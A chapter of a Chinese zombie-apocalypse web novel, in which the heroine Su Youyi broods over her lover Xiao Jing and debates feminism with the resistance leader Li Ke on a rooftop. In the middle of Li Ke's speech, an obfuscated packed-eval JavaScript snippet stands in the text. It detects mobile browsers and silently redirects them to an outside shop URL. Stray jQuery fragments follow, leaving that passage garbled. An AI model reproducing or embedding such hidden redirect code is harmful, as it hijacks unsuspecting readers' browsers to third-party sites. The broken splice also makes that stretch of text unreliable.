苏柚一站在栏杆前,十二月的冷风扑到她脸上,温度也降下来许多。她手指握在栏杆上,松开,又握紧。思考片刻后,往前走了两步,又回来。。。
来来回回走了三分钟,在心里唾弃自己,又不是第一次听萧径表白。。。。
到底在激动什么?
但是。。。表白和求爱。。好像不太一样的。。。
苏柚一脑袋里全是他眉眼向下楚楚可怜的模样,像一只被主人抛弃的小狗,让她很想把他按在床上,这样再那样。
但是不行。。。苏柚一终于停下脚步,慢慢倚着墙边蹲下,她一只手握成拳头放在自己唇边,眉眼认真,思绪飘远。
她跟萧径到底属于什么关系?
床伴?
算了吧,已经很久没有这方面的进展了。。。。
恋人吗?
好像不是。。。。
上次他说喜欢她,虽然自己很高兴,但是好像。。。也没完全接受。。。
反倒是自己。。
该占的便宜没少占,该吃的豆腐也没少吃,走路让人抱,洗澡都。。。。
这种行为。。。就好像是仗着他的喜欢,把他作为自己的精神抚慰犬,累了就抱一抱,饿了就亲一亲。。。没什么需求的时候就给人丢一边。。
。。。。。
好像有点渣。。。。
“萧径。。。。”
所以他老是吃项思挽的醋是因为没有安全感吗?她能给他安全感吗?
。。。。。这是不是也代表着,他其实并不介意自己是什么样的人。。。就算知道了她不好的一面依旧会害怕她是不是会丢下他。。
他。。会一直接受吗?还是说。。。。因为一时的激情上头。。。。
苏柚一觉得自己脑子越想越乱,又站起身子来把头探了出去。
吹吹冷风,会清醒很多。
一股烟味跟着风钻进她的鼻孔,苏柚一骤然警惕的望向黑暗的角落。
橙红色的光点闪了一下,被人弹出去,在空中划出一个漂亮的弧线,消失在黑暗中,一个修长的身影从黑暗中走出来,口鼻间还有朦胧的烟雾。
“苏小姐,需要帮忙吗。”
栗可声音偏低,面部线条凌厉,身上已经换成了军人的迷彩服,遮眼的短发被她从后面扎起一个啾啾,虽然面容依旧干枯,身形依旧消瘦,但整个人的气质跟中午完全不一样。
而她这个样子,才更像小时候课本里描写的样子,苏柚一放松下来,又贴到栏杆边上,她对栗可的印象并不好,说白了,现在的情况都是她一手造成的,她根本没得洗。
“不用了。”苏柚一的视线落在远处的丧尸身上。
其实变成丧尸也挺好的,整天溜达来溜达去,有吃的就吃两口,没吃的也不会死,什么烦恼也没有,连脑子都没有。
“萧队长是个不错的人,你们吵架了吗?”栗可也不在乎她对自己的冷漠,就在离她不远的地方站定,视线也投入远处的深夜,不知道在看什么。
苏柚一撇了她一眼,冷笑一声,“栗部长刚经历了这样的事,还对男人抱有憧憬吗?”
栗可视线收回来,盯了她一会,骤然笑出了声,“苏小姐说话比项小姐可难听多了。”
“还有更难听的你要不要听。”苏柚一根本不吃压力。
“嗯,还是不听了吧。”栗可脸上的笑意未减,声音朦朦胧胧的,“苏小姐要不要加入参天?”
苏柚一这才转过身来正视她,“参天?”
“国际女性权利守护组织——参天。”
“女性。。守护?”
“嗯,我们组织很需要苏小姐这样的人。”
“我这样的人?”苏柚一笑了一下,“我是什么样的人?”
“你像。。。一个沾了胆汁的糖果被人重新包起来,糖纸是台绞肉机。”栗可努力思考了一下,说道。
苏柚一“……”要是不会比喻可以不比喻,这三个东西能放一块吗。
“加入的话我可以先帮你解答一下情感困惑。”
“……我能有什么困惑。。。”
“你刚才在这个位置蹲起做了三遍,来回走了七圈,叫了萧径五次。。。”
“我念出声了????”
“。。。。”栗可抿唇向下,做出一个耸肩的动作。
苏柚一“。。。。。”她长呼了一口气,算了。。。。
“男人,真是有趣的东西,能把好坏都做的这么极端。”苏柚一倚在栏杆上仰望天空,声音放低。
上辈子的萧径在末世照亮了很多人,尽管他遭受了残酷的政治斗争,还是以自己的方式帮助官方获取信息和资源。
而东瑞。。。。
算了,他的名字不配跟萧径摆在一处。
“他们有一部分人,更擅长创造英雄和掠夺女性的功绩。”栗可离她近了些,趴在她不远处的栏杆上。
“你觉得。。。男人是什么样的?”苏柚一很好奇,她很想听听,在她们女性主义的领袖口中到底是如何定义性别这个议题的,她到底想带领女性走向一个什么样的未来。
“你觉得女性主义争取的什么?”栗可见她有兴趣,反问她。
“女性的权利在长期的社会下失衡,想要被社会平等对待的权利。”
“对,所以你认为女性权利的失衡是现在的男人造成的吗?”
“难道。。。”不是吗?
“不是”栗可轻笑道。
“这一代的人,无论女人还是男人,我们都是时代的受害者,权利的失衡都是社会造成的,不是我们的社会,是更往前更往前的历史。。。。是长年累月的社会模式下畸形的产物,如果原始时期的母系氏族能够流传至今,那么我现在可能会是一个坚定的男权主义者。”
栗可仰望着夜空里最亮的星星,试图用手抓住,“想要改变现状,想要变革,并不是杀光这一代所有的男人,女性就会得到应有的平权,就像重男轻女的观念,它产生于混乱的战争年代,产生于食不果腹的饥饿年代,为了活下去,人们只能依赖于生下一个强壮有力量的男性来抢夺资源。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17673477|206474||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
但是这种迫不得已的行为一旦被坏人利用,就会滋生傲慢和私欲,行为无错,却因为坏人煽动一下翅膀,这样的傲慢就在时代的推动下变成暴风,碾压过往而来的所有女性,历史的长河让这样的观念深深的藏在我们所有人的骨血里。。。。他们有错吗?他们没有,有错的是利用这些观念生出的傲慢,是利用时代漏洞形成的利己,这些只是历史留给我们的腐肉,只有把肉划开,把毒血放出来,下一代的人才不会被腐肉的毒侵染。”
栗可一口气说完,牵扯到胸部的伤口,咳嗽了几声,她拍了拍胸口继续说,“所以男人是什么?他们大部分不过是空有力量的天赋却因为环境的教化而用错地方的蠢货罢了。”
“就像你说的,只要刀在我们手里,他们就变成了鱼肉,杀光他们并不难,难的是剔除时代的腐肉,从而改变这个时代。”
苏柚一听呆了,她从来没有从时代的角度考虑过这个议题,但若是抛下个人偏见,栗可说的。。。。也不是没有道理。
苏柚一笑了一下,“如果人类变异会成为必然,那你的愿望应该很快就能实现,力量将不在是男人的专属。”
“那将会迎来最可怕的结局。。。”栗可盯着远处一闪一闪的星星,“用生育能力换取力量,将是人类做的最错误的决定。”
苏柚一挑眉……
栗可又咳嗽了几声,没在继续这个话题“所以。。。要不要我替你解答一下情感困惑。”
“你?算了吧。”苏柚一见她没有解释的意思,也不再追问。
跟栗可聊这一会儿,的确让她过热的脑袋清晰了不少,她活动了一下胳膊,两个人的问题还是两个人解决比较好。
“好吧。”栗可见她要走,又开口道,“如果有一天改变了主意,可以找海聚。”
“找你不行吗?”
“。。。。。”栗可怔了怔,又迅速恢复笑容,“找海聚吧。”
“行。”苏柚一摆了摆手,离开了天台。
栗可看着苏柚一的背影完全消失在天台口吗,笑容消失的嘴角轻轻扯了一下,又迅速放了下来,她从口袋里掏出烟盒,最后一支了。
橙色的光点再次被点燃,烟雾模糊了女人的脸,让人看不清她的表情。
……
“你在这。”天台的门再次被打开,白雨快步走进来。
“咳咳咳咳。”栗可赶紧将烟丢到地上踩灭,双手摆动,不停的驱散周围的烟味。
“又抽烟。”白雨咬牙切齿道。
“没……不是我。”
“你伤那么重,都跟你说了……”
“好了……”栗可轻轻抱住炸毛的白雨,女人一下就安静了。“没有了,不信你搜”轻抱了一下后,栗可松手展示了一下身上的口袋。
白雨白了她一眼“回去,好好休息。”
“知道了,知道了。”
。。。。。
苏柚一慢悠悠的挪回休息室,已经很晚了,二楼和四楼的声音一直没有停歇,但是三楼却清净的很,她回来这一路一个人都没看到。